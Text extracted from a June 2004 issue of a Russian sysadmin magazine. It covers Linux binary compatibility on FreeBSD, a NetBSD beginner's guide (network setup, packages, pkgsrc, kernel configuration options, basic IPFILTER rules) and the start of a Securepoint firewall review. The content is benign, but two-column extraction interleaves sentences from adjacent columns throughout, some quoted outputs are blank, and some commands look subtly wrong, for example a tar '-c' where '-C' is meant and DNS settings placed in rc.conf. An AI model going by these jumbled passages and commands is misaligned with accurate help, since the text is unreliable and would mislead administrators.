запускать не /usr/bin/uname, а /usr/compat/linux/bin/uname.
Исправить положение очень легко, нужно найти все вхож-
дения символов uname в тексте скрипта и заменить их на
luname. А затем в директории /usr/bin создать жесткую
ссылку с именем luname на /usr/compat/bin/uname. Пере-
загружаем систему. Теперь запускаем acroread и радуем-
ся как малые дети.
Конечно, можно было бы не создавать никаких ссы-
лок, а просто вместо uname написать /usr/compat/linux/bin/
uname, но я человек ленивый и стараюсь уменьшить ко-
личество совершаемых телодвижений. К тому же данная
проблема довольно типична для скриптов Linux-приложе-
ний, поэтому ссылка на luname вам пригодится скорее все-
го еще не один раз. Кстати, стоит отметить, что некото-
рые приложения могут требовать для нормального функ-
ционирования некоторые библиотеки, используемые для
Для удачной установки Acrobat Reader придется пово- разработки других приложений. Ярким примером такой
зиться чуть больше. Распаковываем дистрибутив и запус- разновидности программ выступает ORACLE. Поэтому
каем скрипт INSTALL. Проблема в том, что программисты нам лучше поставить еще один добавочный пакет, назы-
фирмы Adobe пытаются не позволить нам пользоваться ваемый linux_devtools.
их детищем под управление FreeBSD.
В ответ получаем следующую надпись: # # cd /usr/ports/emulators/linux_devtools
# make package

Иногда несмотря на то, что приложение удачно уста-


новилось, работать оно все же не хочет по причине отсут-
ствия некоторых библиотек. Для начала проверим, какие
Приняв лицензионное соглашение в качестве дирек- же именно библиотеки ему необходимы. Делать это мы
тории для установки, подтверждаем выбор по умолчанию будем на примере WordPerfect.
/usr/local/Acrobat5/.

После того как копирование файлов будет заверше-


но, можно попытаться запустить программу и получить
горькое разочарование.

Соответственно нам нужно всего лишь найти эти биб-


лиотеки на Linux-машине и скопировать их себе в систе-
му бинарной совместимости. Лично мне пришлось сде-
Об этой беде мы уже говорили ранее в статье. Распот- лать так всего один раз за все время работы с системой.
рошив скрипт acroread, довольно быстро находим пробле- С другой стороны, чем больше программного обеспече-
му. Так как скрипты не являются бинарными ELF-файла- ния вы будете устанавливать, тем больше шансов, что все
ми, система бинарной совместимости никак не может до- необходимые библиотеки у вас уже будут находиться там,
гадаться, что по запросу на вызов утилиты uname нужно где положено.
Иногда Linux-приложения, интенсивно использующие
DNS, отказываются работать и выводят на экран следую-
щие жалобы:

Все дело в том, что они пытаются использовать по


умолчанию файл host.conf от FreeBSD, а нам нужно со-
вершенно другое. Поэтому вписываем в /usr/compat/linux/
etc/rc.conf следующие строки:

order hosts, bind


multi on

И навсегда забываем о проблеме с DNS.


Как вы могли убедиться, работать с интерфейсом би-
нарной совместимости довольно просто, а выгода от это-
го получается немалая.

№6(19), июнь 2004 21


администрирование

ПЕРВЫЕ ШАГИ В NetBSD


ЧАСТЬ 1

В этой статье речь пойдет об ОС NetBSD. К сожалению, документации на русском языке по этой ОС
практически нет. Как-то не прижилась NetBSD в нашей стране, нельзя сказать, что эту систему
вообще никто не использует, но все же количество людей, имеющих с ней дело, очень невелико.

АЛЕКСАНДР БАЙРАК
Хотя на Западе NetBSD достаточно популярна. В принци- pub/NetBSD/iso. Далее выбираете версию системы, кото-
пе это легко объяснить. Главный козырь NetBSD в ее мно- рая установлена у вас, и списываете файл sourcecd.iso.
гоплатформенности, она одинаково хорошо будет рабо-
тать как на карманных компьютерах типа HP Jordana 728, Afterboot, или Что следует сделать сразу
так и на больших 64-разрядных Alpha. Конечно, она рабо- после первой загрузки
тает и на x86. И если за рубежом количество машин с от- Вполне логично сразу после загрузки сконфигурировать
личной от x86 архитектурой достаточно велико, у нас же сеть. Делается это так: в /etc/rc.conf (предварительно изу-
если где и есть SPARC или MIPS, то люди в основном пред- чив /etc/defaults/rc.conf) пишем:
почитают использовать на них их родные ОС. На x86
NetBSD тоже почему-то ставят нечасто, вроде как и «ос- hostname=”you.host.name”
тальных» систем достаточно, а разбираться с чем-то но-
вым у кого времени, а у кого и желания нет. До недавнего Задается имя вашего хоста:
времени в рунете была только одна статья, посвященная
NetBSD (http://www.linuxshop.ru/unix4all/?cid=28&id=325). defaultrouter=”x.x.x.x”
Не так давно Андрей Бешков написал отличную статью, по-
священную этой системе (смотри августовский номер жур- Указывается IP шлюза:
нала за 2003 г. или http://onix.opennet.ru/netbsd/netbsd.html).
Я вам очень советую ее почитать, в статье в простой и ifconfig_zz=”x.x.x.x/xx”
доступной форме расписан процесс установки ОС. После
этого интерес к системе возрос, все чаще на форумах В качестве zz необходимо вписать имя вашего сетево-
юниксоидов можно встретить вопросы и, что самое глав- го интерфейса. (Если точно не знаете, как он будет назы-
ное, ответы, посвященные NetBSD. Эта система заинтере- ваться в NetBSD, его название можно посмотреть с помо-
совала и меня, результат моего изучения перед вами. За щью команды dmesg.) Вместо иксов соответственно впи-
неимением компьютеров с отличной от x86 архитектурой сать ваш IP-адрес. Маску подсети можно указать как в
все мои эксперименты с NetBSD проводились на обычном «дробном» виде (/xx), так и в виде netmask x.x.x.x.
PC (Cel 433МГц/64Мб RAM). Я предполагаю, что NetBSD в IP DNS-сервера(ов) прописывается в /etc/resolv.conf,
том или ином виде уже установлена на вашем компьюте- синтаксис таков:
ре. Далее нам понадобится только диск с исходниками си-
стемы. Взять образ этого диска можно тут: ftp://ftp.netbsd/ netmask x.x.x.x

22
администрирование
Должен заметить, что есть альтернативный вариант команде pkg_add указать точный url, где лежит пакадж,
указания имени хоста и IP шлюза. Имя хоста можно поме- который вы желаете установить. Например:
стить в файл /etc/myname. А IP шлюза – в /etc/mygate.
Делайте, как вам удобно. #pkg_add ftp://ftp.netbsd.org/pub/NetBSD/packages/1.6.1 ↵
/i386/shells/bash-2.05.2.tgz
В /etc/rc.conf не забудьте указать:
Это командой мы установим пакадж с bash для 1.6.1
sshd=YES версии NetBSD, работающей на x86 машине.
Важное замечание: по умолчанию исполняемые фай-
После этого мы можем заходить удаленно на нашу лы пакаджей помещаются в /usr/pkg/bin.
NetBSD через ssh. Система портов в NetBSD тоже называется пакаджа-
Следующим шагом является заведение нового пользо- ми, что вносит некоторую неразбериху. Получается, что
вателя. Не всегда же под аккаунтом root работать. есть binary-packages, которые уже кто-то скомпилировал
до нас, и которые только и остается что установить ко-
# useradd –g groupname –d /path/to/homedir –m ↵ мандой pkg_add, и есть «порты-пакаджи», которые спи-
–p yourpassword –s /path/to/shell username
сываются из сети в виде исходников, а компилируются
Рассмотрим, что и как мы создали. После опции –g ука- уже на вашей машине. Чтобы не вносить дальнейшую
зывается имя группы, к которой будет принадлежать но- путаницу, далее по тексту «порт-пакадж» буду называть
вый пользователь. Должен заметить, что с помощью опции просто порт.
–g бесполезно пытаться добавить нового пользователя в Для того чтобы начать работать с коллекцией портов,
группу wheel, надо напрямую его вписать в /etc/group. Тог- берем с уже знакомого нам диска файл pkgsrc.tgz.
да он действительно окажется в группе wheel. После опции Самую последнюю версию этого файла можно списать
–d указывается путь до домашнего каталога пользовате- на ftp://ftp.netbsd.org/pub/NetBSD/NetBSD-current/tar_files/
ля. После –p указывается новый пароль. После опции –s pkgsrc.tar.gz.
указывается путь к командному интерпретатору. Распакуем:
Если эту опцию не задать, будет использоваться стан-
дартный /bin/sh. Который, впрочем, позже можно будет # tar zxvpf pkgsrc.tar.gz –c /usr
сменить на что-нибудь другое при помощи команды chsh.
Мною была замечена интересная вещь – какой бы После распаковки архива в /usr/pkgsrc/ появляются
password ни указывался, после опции –p useradd ругается: каталоги, разделенные по группам (audio/www/x11), в
которых соответственно содержатся каталоги, назван-
ные по имени программ с файлами, необходимыми для
Это не беда, если его поменять с помощью команды установки по сети. Установка нужной программы про-
passwd <username>, то все встанет на свои места. Нелиш- исходит следующим образом (для примера установим
ним будет прочтение man useradd, там вы более подроб- редактор ne):
но узнаете о значениях всех опций.
#cd /usr/pkgsrc/editors/ne
#make install
Установка нужного софта
Установить новый софт можно: И начинается процесс установки, система списывает из
! Собрав из исходников. сети исходник нужной программы, если для компиляции
! Используя пакаджи. требуется какая-либо библиотека, то она также будет спи-
! Используя систему портов. сана. После этого следует компиляция. Вот и все. Правда,
просто? После того как система установила нужный порт,
Если с первыми двумя методами все более-менее по- для удаления временных файлов выполняем команду.
нятно, то третий способ я распишу немного подробней.
Замечу только, что все пакаджи берутся с ftp://ftp.netbsd.org/ #make clean
pub/NetBSD/packages.
Далее выбираете, для какой версии системы и архи- Все исходники, которые были списаны системой из
тектуры вы ищете нужный вам пакадж. сети, хранятся в /usr/pkgsrc/distfiles.
Для удобства можно использовать вот эту ссылку: ftp://
ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/README.html. Перекомпиляция ядра
Здесь весь софт разделен на тематические разделы (как Я думаю, желание собрать ядро под себя и со своими пред-
в коллекции портов). Для меня вторая ссылка более удоб- почтениями вполне закономерное. Из стандартного хочет-
ная, благодаря наличию комментариев к каждому пакад- ся выкинуть все ненужное (а выкинуть, я думаю, много
жу с указанием всех зависимостей. чего можно, GENERIC-ядро весит ~ 6.3 Мб!), и соответ-
Установить пакадж просто: ственно добавить нужное. Для перекомпиляции ядра нам
понадобятся непосредственно исходники ядра. Я уже упо-
#pkg_add packagename.tar.gz мянул о sourcecd.iso, на котором находятся исходники всей
системы. Вот сейчас из этого самого образа мы берем
Замечу, что заранее пакадж можно и не списывать, а нужный нам syssrc.tgz. Распакуем:

№6(19), июнь 2004 23


администрирование
# tar zxvpf syssrc.tgz –c / ! options REALEXTMEM= – размер расширенной памяти
(в Кб).
Все, теперь в /usr/src/sys есть все, что нам нужно для
дальнейшей работы. Standard system options
Надо заметить, что в / есть ссылка на этот каталог (/sys- Стандартные опции системы:
> /usr/src/sys/). Перейдем в /usr/src/sys/arch – тут выбира- ! options UCONSOLE – пользователи могут использовать
ем нужную нам платформу/архитектуру. Для меня это i386, TIOCCONS (нужно для xconsole).
которая как-то затерялась среди всех остальных поддер- ! options INSECURE – отключить уровни безопасности ядра.
живаемых платформ. Всего их 56 штук! ! options RTC_OFFSET=0 – установка времени по GMT.
После нахождения каталога с нужной нам архитекту- ! options NTP – запрещение цикла фазы/частоты NTP.
рой переходим в его подкаталог – conf, именно тут лежат ! options KTRACE – системные вызовы идут через ktrace.
файлы конфигурации ядра. Для i386 представлено с де- ! options SYSVMSG – очереди сообщений, как в SysV.
сяток различных готовых файлов конфигурации, создан- ! options SYSVSEM – семафоры, как в SysV.
ных для разных задач. Ради интереса их стоит посмот- ! options SYSVSHM – разделение памяти, как в SysV.
реть. ! options LKM – возможность загружать модули ядра.
Файл конфигурации стандартного ядра находится в
файле GENERIC. Очень жаль, что разработчики не сде- Diagnostic/debugging support options
лали аналога файла LINT (такого, как в FreeBSD), в кото- Задаются опции поддержки диагностики и отладки.
ром с подробными комментариями перечислены все воз-
можные параметры, допустимые в файле конфигурации Compatibility options
ядра. Ну да ладно, и так разберемся. Различные опции совместимости. Также тут мы указыва-
ем поддержку запуска уже скомпилированных для других
# cp GENERIC newkernel ОС программ. Например:
! options COMPAT_LINUX – совместимость с приложе-
После этого с помощью своего любимого текстового ниями, собранными для Linux.
редактора начинаем править под наши нужды файл кон- ! options COMPAT_FREEBSD – совместимость с прило-
фигурации нового ядра. жениями от FreeBSD.
Разберем структуру и содержимое файла конфигура-
ции ядра для x86 архитектуры более подробно. Коммен- File systems
тарии в нем начинаются с символа #. Указываем, поддержку каких файловых систем мы хотим
! include «arch/i386/conf/std.i386» – в std.i386 хранятся не- иметь. Замечу, что поддержку файловых систем можно
которые опции, которые необходимы для работы NetBSD подключать также в виде модуля ядра.
на x86 платформе.
! options INCLUDE_CONFIG_FILE – вставить содержимое File system options
файла конфигурации ядра в бинарник нового ядра. Различные опции для файловых систем:
! ident «my new kernel» – указываем имя нашего буду- ! options QUOTA – возможность установки квот на дис-
щего ядра. ковое пространство.
! maxusers 32 – указываем примерное количество поль- ! options SOFTDEP – поддержка «soft updates» для фай-
зователей нашей системы. Но даже если вы намере- ловой системы FFS. Очень рекомендую включить, по-
ны использовать ее в гордом одиночестве, рекомен- тому как скорость работы с данными на жестком дис-
дую поставить значение «с запасом». ке значительно возрастет.
! CPU support – указываем, какой тип процессора уста- ! options NFSSERVER – стоит включить, если машина
новлен на компьютере. Например: options I686_CPU. будет использоваться как NFS-сервер.

CPU-related options Networking options


Опции, связанные с процессором: Опции для поддержки сети:
! options MATH_EMULATE – эмулирование математичес- ! options GATEWAY – поддержка фовардинга пакетов.
кого сопроцессора. ! options INET – «базовый» набор (IP + ICMP + TCP + UDP).
! options VM86 – виртуальная 8086 эмуляция. ! options INET6 – поддержка IPv6.
! options USER_LDT – стоит включить, если планирует- ! options IPSEC – поддержка IP security.
ся использование эмулятора WINE. ! options MROUTING – IP multicast routing.
! options PERFCTRS – поддержка мониторинга некото- ! options NS – поддержка XNS.
рых счетчиков. ! options NSIP – XNS-туннель через IP.
! options ISO,TPIP – поддержка OSI.
Если NetBSD не полностью видит память, установлен- ! options EON – OSI-туннели через IP.
ную в вашем компьютере, имеет смысл воспользоваться ! options CCITT,LLC,HDLC – поддержка x.25 сетей.
следующими опциями. ! options NETATALK – поддержка протокола AppleTalk.
! options REALBASEMEM= – размер базовой памяти ! options PPP_BSDCOMP – поддержка BSD-Compress
(в Кб). сжатия для PPP.

24
администрирование
! options PPP_DEFLATE – поддержка Deflate-сжатия для ! mainboard audio chips – поддержка некоторых встро-
PPP. енных звуковых карт. Для примера включим поддерж-
! options PPP_FILTER – активный фильтр для PPP. Ну- ку ESS AudioDrive.
жен bpf.
! options IPFILTER_LOG – поддержка ведения логов ess* at =pnpbios? index ?
firewall.
! options IPFILTER_DEFAULT_BLOCK – запрещение про- ! com port – поддержка com-порта.
хождения всех пакетов по умолчанию.
com* at pnpbios? index ?
Дальше в файле конфигурации ядра идут опции для
включения вывода подробных сообщений от некоторых ! parallel port – параллельный порт.
подсистем. Добавление этих опций может существенно
увеличить размер вашего ядра. Для примера включим lpt* at pnpbios? index ?
поддержку подробных сообщений для USB-устройств:
options USBVERBOSE. ! Клавиатуры и мышки:

wscons options pckbc* at pnpbios? index ?


Различные опции для консоли wscons.
! options WSEMUL_xxx – в качестве xxx вписываем, ка- ! Контроллер флопа:
кой тип эмуляции терминала мы хотим видеть на экра-
нах, которые автоматически создаются системой. По fdc* at pnpbios? index
умолчанию VT100/VT220.
! options WS_KERNEL_FG=WSCOL_color – цвет сообще- ! PCI bus support – поддержка шины PCI.
ний на консоли. ! Configure PCI using BIOS information – различные оп-
! options WS_KERNEL_BG=WSCOL_color – цвет фона в ции, для того чтобы шина PCI использовала информа-
консоли. По умолчанию используется черный фон и зе- цию из BIOS.
леные сообщения (как в «Матрице»). ! PCI bridges – поддержка различных PCI-мостов.
! compatibility to other console drivers – совместимость с ! EISA bus support – поддержка шины EISA.
другими драйверами консоли. ! ISA bus support – поддержка шины ISA.
! options WSDISPLAY_COMPAT_xxx – задаем совме- ! PCMCIA bus support – поддержка шины PCMCIA.
стимость, с какими драйверами консоли мы хотим ! MCA bus support – поддержка шины MCA.
иметь дело. ! ISA PCMCIA controllers – включение различных ISA
! options WSDISPLAY_DEFAULTSCREENS=x – количе- PCMCIA-контроллеров.
ство экранов, которые система создает автомати- ! PCI PCMCIA controllers – включение различных PCI
чески. Рекомендую поставить 1 или 2, почему имен- PCMCIA-контроллеров.
но будет рассказано в разделе русификация. ! ISA Plug-and-Play bus support – поддержка ISA PnP-
! options PCDISPLAY_SOFTCURSOR – использование шины.
курсора, который не мигает. ! ISA Plug-and-Play PCMCIA controllers – ISA PnP PCMCIA-
! options VGA_CONSOLE_SCREENTYPE=«\«80x24\»» – контроллеры.
изменение стандартного разрешения в консоли. ! CardBus bridge support – поддержка CardBus-мос-
тов.
Kernel root file system and dump configuration ! CardBus bus support – поддержка CardBus-шины.
Указываем, где располагается корневая файловая систе- ! Coprocessor Support – поддержка математического со-
ма с ядром. процессора (не отключите случайно).
! Console Devices – драйвера консоли.
config netbsd root on ? type ? ! Keyboard layout configuration – конфигурация клавиа-
туры для нескольких языков. Русского среди них, к
сожалению, нет.
Device configuration ! pccons-specific options – специальные pccons-опции.
В этой части файла конфигурации ядра мы будем конфи- ! options XSERVER_DDB – PF12 – переведет вас в
гурировать различные устройства. Еще раз напоминаю, DDB, когда будет запущен X-сервер.
что в целях экономии места будут описаны только основ- ! options XSERVER – поддержка X-сервера.
ные разделы, без комментариев к каждому устройству. ! Контроллер клавиатуры.
! Продвинутая система управления питания.
pckbc0 at isa?
apm0at mainbus0
! Клавиатура.
Можно также задавать различные опции. Все подроб-
но описано в man 4 apm. pckbd* at pckbc?

№6(19), июнь 2004 25


администрирование
! PS/2 мышка для wsmouse. ! SCSI-«автовкладыватели» чего-нибудь:

pms* at pckbc? ses* at scsibus? target ? lun ?

! Serial Devices – последовательные устройства. ! SCSI-сканеры:


! PCI serial interfaces – PCI-последовательные интер-
фейсы. ss* at scsibus? target ? lun ?
! ISA Plug-and-Play serial interfaces – ISA PnP-последова-
тельные интерфейсы. ! Неизвестные SCSI-устройства:
! PCMCIA serial interfaces – PCMCIA-последовательные
интерфейсы. uk* at scsibus? target ? lun ?
! CardBus serial interfaces – CardBus-последовательные
интерфейсы. ! RAID controllers and devices – различные RAID-контрол-
! ISA serial interfaces – последовательные интерфейсы леры и устройства.
для ISA. ! ISA Plug-and-Play IDE controllers – ISA PnP IDE-контрол-
! MCA serial interfaces – последовательные интерфейсы леры.
для MCA. ! PCMCIA IDE controllers – PCMCIA IDE-контроллеры.
! Parallel Printer Interfaces – параллельные интерфейсы Также есть поддержка некоторых ISA ST506, ESDI и
для принтеров. IDE-контроллеров.
! PCI parallel printer interfaces – PCI-параллельный интер- ! IDE drives – IDE-устройства.
фейс для принтеров. ! ATAPI bus support – поддержка ATAPI-шины.
! ISA parallel printer interfaces – ISA-параллельный интер- ! ATAPI devices – различные ATAPI-устройства.
фейс для принтеров. ! ATAPI CDROM:
! Стандартный параллельный порт:
cd* at atapibus? drive ? flags 0x0000
lpt0 at isa? port 0x378 irq 7
! ATAPI HDD:
! Hardware monitors – различные системные мониторы.
(Естественно, не те, на которых мы видим выводимую sd* at atapibus? drive ? flags 0x0000
информацию, а те, которые занимаются мониторингом
состояния чего бы то ни было). ! TAPI-ленточные устройства:
! I2O devices – различные I2O-устройства.
! SCSI Controllers and Devices – различные SCSI-контрол- st* at atapibus? drive ? flags 0x0000
леры и устройства.
! PCI SCSI controllers – PCI SCSI-контроллеры. ! Неизвестные устройства для шины ATAPI:
! EISA SCSI controllers – EISA SCSI-контроллеры.
! PCMCIA SCSI controllers – PCMCIA SCSI-контроллеры. uk* at atapibus? drive ? flags 0x0000
! ISA Plug-and-Play SCSI controllers – ISA PnP SCSI-кон-
троллеры. ! Miscellaneous mass storage devices – различные устрой-
! ISA SCSI controllers – ISA SCSI-контроллеры. ства для хранения информации.
! CardBus SCSI cards – SCSI CarBus-карты. ! ISA floppy – поддержка флопов.
! MCA SCSI cards – SCSI MCA-карты. ! Стандартный контроллер для флопа:
! SCSI bus support – поддержка шины SCSI.
! SCSI devices – различные SCSI-устройства. fdc0 at isa? port 0x3f0 irq 6 drq 2
! SCSI-диски:
! ISA CD-ROM devices – CD-ROM, подключенные к ISA-
sd* at scsibus? target ? lun ? устройствам.
! ISA tape devices – различные ленточные устройства,
! SCSI-ленточные устройства: подключенные к ISA-шине.
! MCA ESDI devices – различные MCA ESDI-устрой-
st* at scsibus? target ? lun ? ства.
! Network Interfaces – различные сетевые карты.
! SCSI CDROM: ! PCI network interfaces – PCI-сетевые карты.
! EISA network interfaces – EISA-сетевые карты.
cd* at scsibus? target ? lun ? ! ISA Plug-and-Play network interfaces – ISA PnP-сетевые
карты.
! SCSI-«автосменщики» чего-нибудь: ! PCMCIA network interfaces – PCMCIA-сетевые карты.
! ISA network interfaces – ISA-сетевые карты.
ch* at scsibus? target ? lun ? ! CardBus network cards – CarBus-сетевые карты.

26
администрирование
! MCA network cards – MCA-сетевые карты. ! pseudo-device bpfilter – берклинский пакетный фильтр.
! MII/PHY support – поддержка различных MII/PHY-уст- ! pseudo-device ipfilter – firewall + NAT.
ройств. ! pseudo-device loop – интерфейс обратной петли
! USB Controller and Devices – различные USB-контрол- (127.0.0.1).
леры и устройства. ! pseudo-device ppp – протокол Point-to-Point.
! PCI USB controllers – PCI USB-контроллеры. ! pseudo-device pppoe – поддержка PPP через Ethernet.
! USB bus support – поддержка шины USB. ! pseudo-device sl – Serial line IP.
! USB Hubs – USB-хабы. ! pseudo-device irframetty – IrDA frame line discipline.
! USB HID device – USB HID-устройства. ! pseudo-device tun – сетевые туннели через tty.
! USB Mice – USB-мышки. ! pseudo-device gre – L3 через IP-туннель.
! USB Keyboards – USB-клавиатуры. ! pseudo-device gif – IPv[46] через IPv[46]-туннель.
! USB Printer – USB-принтеры. ! pseudo-device faith – трансляция IPv[46] tcp релея.
! USB Modem – USB-модемы. ! pseudo-device stf – инкапсуляции IPv6 через IPv4
! USB Mass Storage – устройства хранения информации ! pseudo-device vlan – поддержка VLAN.
на USB. ! pseudo-devic bridge – сетевой мост.
! USB audio – USB-звуковые карты. ! miscellaneous pseudo-devices – другие псевдоустрой-
! USB MIDI – USB MIDI-устройства. ства.
! USB IrDA – USB IrDA-устройства. ! pseudo-device pty – псевдотерминалы.
! USB Ethernet adapters – USB-сетевые карты. ! pseudo-device rnd – поддержка /dev/random.
! Serial adapters – различные последовательные USB- ! pseudo-device clockctl – контроль часов.
адаптеры. ! wscons pseudo-devices – псевдоустройства wcons.
! USB scanners – USB-сканеры и сканеры, которые ис- ! pseudo-device wsmux – мультиплексор клавиатуры
пользуют эмуляцию SCSI. и мышки.
! USB Generic driver – USB-драйвер. ! pseudo-device wsfont – /dev/wsfont.
! Audio Devices – различные звуковые карты.
! PCI audio devices – PCI-звуковые карты. После того как закомментировано все ненужное и до-
! ISA Plug-and-Play audio devices – ISA PnP-звуковые бавлено нужное, приступаем к сборке нового ядра.
карты.
! ISA audio devices – ISA-звуковые карты. #config newkernel
! PCMCIA audio devices – PCMCIA-звуковые карты.
! Audio support – поддержка звука для вышеперечислен- Если никаких ошибок не выявлено, то:
ных карт.
! MPU 401 UARTs – различные MPU 410 карты. #cd ../compile/newkernel/
#make depend && make
! MIDI support – поддержка MIDI.
! PC-спикер: Начинается непосредственно компиляция. Процесс ком-
пиляции проходит достаточно быстро, у меня на Cel466/
spkr0 at pcppi? 64Мб RAM она заняла порядка 15 минут. На PIII-550/320Мб
RAM – меньше 5 минут.
! FM-Radio devices – различные FM-тюнеры. Если компиляция прошла успешно, устанавливаем но-
! ISA radio devices – ISA FM-тюнеры. вое ядро.
! PCI radio devices – PCI FM-тюнеры.
! TV cards – TV-тюнеры. #cp /netbsd /netbsd.old
! Mice – различные мышки.
! Joysticks – различные джойстики. Делаем резервную копию старого ядра, которое рас-
! ISA Plug-and-Play joysticks – ISA PnP-джойстики. полагается в корневом разделе.
! PCI joysticks – PCI-джойстики.
! ISA joysticks – ISA-джойстики. #cp netbsd /
! Pseudo-Devices – различные псевдоустройства.
! disk/mass storage pseudo-devices – псевдоустройства Копируем новое ядро (которое находится в текущем
для хранения информации. каталоге) в корень. Перезагружаемся:
! pseudo-device ccd – concatenated/striped disk devices.
! pseudo-device raid – RAIDframe disk drive. #reboot
! options RAID_AUTOCONFIG – автоконфигурирова-
ние RAID-компонентов. Если новое ядро не загружается по каким-либо причи-
! pseudo-device md – поддержка дисков в память – нам, нам нужно загрузить старое, работоспособное ядро,
ramdrive. недаром мы его сохранили. В самом начале загрузки
! pseudo-device vnd – похожий на диски интерфейс для NetBSD, когда идет обратный отсчет времени, нажимаем
файлов. любую клавишу, отличную от enter, и попадаем в boot-
! network pseudo-devices – сетевые псевдоустройства. меню. Далее вводим:

№6(19), июнь 2004 27


администрирование
netbsd.old –s ! < или lt – истина, если номер порта меньше, чем пере-
даваемое значение.
Вот и все, система загружается со старым ядром. Смот- ! != или ne – истина, если номер порта не равен переда-
рите внимательно файл конфигурации ядра и думайте, что ваемому значению.
вы не так сделали. Да, вернемся к размерам ядра, после ! => или ge – истина, если номер порта больше или ра-
того как я первый раз пересобрал ядро, его размер умень- вен переданному значению.
шился до ~1.5Мб. Потом удалось сделать рабочее ядро ! <= или le – истина, если номер порта меньше или ра-
размером ~1.2Мб, что почти в 5.5 раз меньше, чем стан- вен переданному значению.
дартное ядро.
В качестве дополнения о перекомпиляции ядра я вкрат- Возможно сравнение диапазонов:
це хотел бы рассказать о маленькой утилите, недавно об- ! N <> N1 – истина, если порт меньше, чем N, или боль-
наруженной мной в коллекции портов – adjustkernel. Про- ше, чем N1.
грамма на основе имеющегося оборудования сама создаст ! N >< N1 – истина, если порт больше, чем N, и меньше,
файл конфигурации ядра. Рассмотрим, как она работает. чем N1.

#dmesg > dmesg.file Также в этом firewall есть поддержка фильтрации по


TCP-флагам, возможность ответа на заблокированный
Поместим вывод команды dmesg в файл dmesg.file. На пакет, keep-state-фильтрация. В общем поддерживается
основе этих данных и будет строиться наше новое ядро. все, что нужно для гибкой настройки правил, и даже не-
Так же в текущий каталог положите ваш файл конфигу- много больше. Для примера напишем простенький набор
рации ядра, ну или GENERIC. правил firewall.
Разрешаем весь icmp-трафик:
#adjustkernel –mesg dmesg.file –outfile newkernel –file GENERIC
pass in on <xx> proto icmp all
pass out on <xx> proto icmp all
Я решил посмотреть, какой файл конфигурации про-
грамма создаст на основе GENERIC-файла. В принципе Открываем порты для работы с SSH:
файл конфигурации получился вполне работоспособный.
Но в любом случае ему требуется доводка руками. Ведь pass in proto tcp from any to <IP> port = 22
pass out proto tcp from <IP> to any port = 22
программа не знает, нужна ли нам на этой машине под-
держка IPv6 или файловой системы CODA. А в остальном Открываем порты для работы с DNS:
только положительные отзывы.
pass in proto udp from any to <IP> port = 53
pass out proto udp from <IP> to any port = 53
Настройка firewall
В качестве firewall в NetBSD используется IPFILTER. Для Вместо xx указываем сетевой интерфейс, вместо IP
начала добавляем в /etc/rc.conf строку: IPFIREWALL=YES. указываем наш IP-адрес. Я умышленно привел такой про-
Удостоверимся, что ядро собрано с опцией IPFILTER_ стой пример, так как написание правил для firewall – дело
DEFAULT_BLOCK, как видно, эта опция служит для того, достаточно личное, каждый их составляет так, как ему
чтобы по умолчанию все пакеты отвергались. Мне кажет- удобно.
ся, такой подход при конфигурировании firewall единствен- Но, я думаю, вышеприведенного примера вполне дос-
но правильный – сначала все закроем, а потом откроем таточно, для того чтобы на его основе построить более слож-
только то, что нам нужно. Правила firewall в файле /etc/ ный набор правил. Для получения более подробной инфор-
ipf.conf. Давайте разберем синтаксис написания правил мации о IPFILTER очень рекомендую почитать IPFILTER
для IPFILTER. Для того чтобы обозначить, пропускать па- HOW-TO (http://www.unixcircle.com/ipf).
кет или нет, используются ключевые слова – pass и block.
Для обозначения направления, в котором проходит пакет, Заключение
используются ключевые слова in и out. Интерфейс указы- Подошла к концу первая часть статьи. Для начала изуче-
вается ключевым словом on, за которым следует назва- ния, по-моему, достаточно. Если этой статьей я привлек
ние интерфейса. Маска сети задается как в «дробном», ваше внимание к NetBSD, значит моя цель несомненно
так и в виде xxx.xxx.xxx.xxx. Имеется поддержка фильтра- выполнена.
ции по имени протокола. Узнать полный список протоко- Во второй части статьи мы рассмотрим профилиро-
лов можно из файла /etc/protocols. вание ядра NetBSD, протестируем бинарную совмести-
Поддерживается блокировка фрагментированных IP- мость с FreeBSD и Linux, научимся поддерживать сис-
пакетов. Для TCP/UDP работает фильтрация по номеру тему в актуальном состоянии. Также в мои планы вхо-
порта. Можно использовать некоторые операции над но- дит рассказать о криптографической файловой систе-
мерами портов. ме NetBSD, не будет обойден вниманием и вариант ис-
! = или eq – истина, если номер порта равен передавае- пользования NetBSD как desktop-системы. Но обо всем
мому значению. этом в следующий раз. Я буду рад всем уточнениям,
! > или gt – истина, если номер порта больше, чем пере- дополнениям и просто отзывам об этой статье.
даваемое значение. Пишите!

28
безопасность

ТОЧКА ЗАЩИТЫ

СЕРГЕЙ ЯРЕМЧУК

Так уж получилось, что моим первым Linux-дистрибутивом страивать существующую сеть совсем необязательно,
был не один из типично пользовательских вроде Red Hat, Securepoint спокойно уживается на отдельном компьютере
с чего обычно начинают знакомство, а маленький однодис- и без проблем вписывается в большинство топологий со сво-
кетный FreeSCO (http://www.freesco.org), о котором я писал ими firewall и VPN. Если поискать на сайте, то можно наткнуть-
в сентябрьском номере журнала за 2003 г. Небольшая за- ся и на прайс с довольно солидными суммами, но беспоко-
метка на каком-то сайте, в которой было рассказано о том, иться не стоит, деньги берут за техническую поддержку, сам
как с его помощью можно быстро и без особых трудностей же дистрибутив доступен для свободного скачивания и рас-
настроить совмесный доступ в Интернет группе компьюте- пространяется как freeware, для доступа к странице закачки
ров, не только помогла решить проблему человеку, доселе от вас потребуют ввести e-mail и название компании. Сис-
этим никогда не занимавшемуся. В итоге это знакомство темные требования скромны, процессор класса Pentium II 300,
полностью изменило мою жизнь. Вместо Windows пришел 64 Мб ОЗУ, около 4 Гб жесткий диск (IDE или поддержаны
Linux, вместо assembler и Pascal – Perl, PHP. Стал интере- некоторые SCSI). Базируется он, судя по всему, на Red Hat.
соваться сетями. Может быть, поэтому моим любимым за- Поддерживается одновременно от 2 до 16 сетевых интер-
нятием является поиск и тестирование таких специальных фейсов. Перед установкой желательно все же свериться
дистрибутивов. Сегодня предлагаю в общих чертах позна- с whitepapers (http://europe-01.securepoint.de/whitepapers_
комиться с довольно мощным, но в то же время очень про- int3.1.pdf), иначе попытка может завершиться неудачей. И
стым и понятным в настройке дистрибутивом. хотя сам процесс установки сложности вызвать не должен
Речь пойдет о немецком дистрибутиве Securepoint от по причине простоты и понятности всех операций, но вкрат-
Securepoint Security Solutions, английское зеркало сайта: це остановлюсь, чтобы было понятно, с чем имеем дело.
http://www.securepoint.cc. Он представляет собой полностью Более полную картину даст 96-страничный manual, который
готовый набор программных средств, предназначенных для вы найдете на сайте или в самом дистрибутиве.
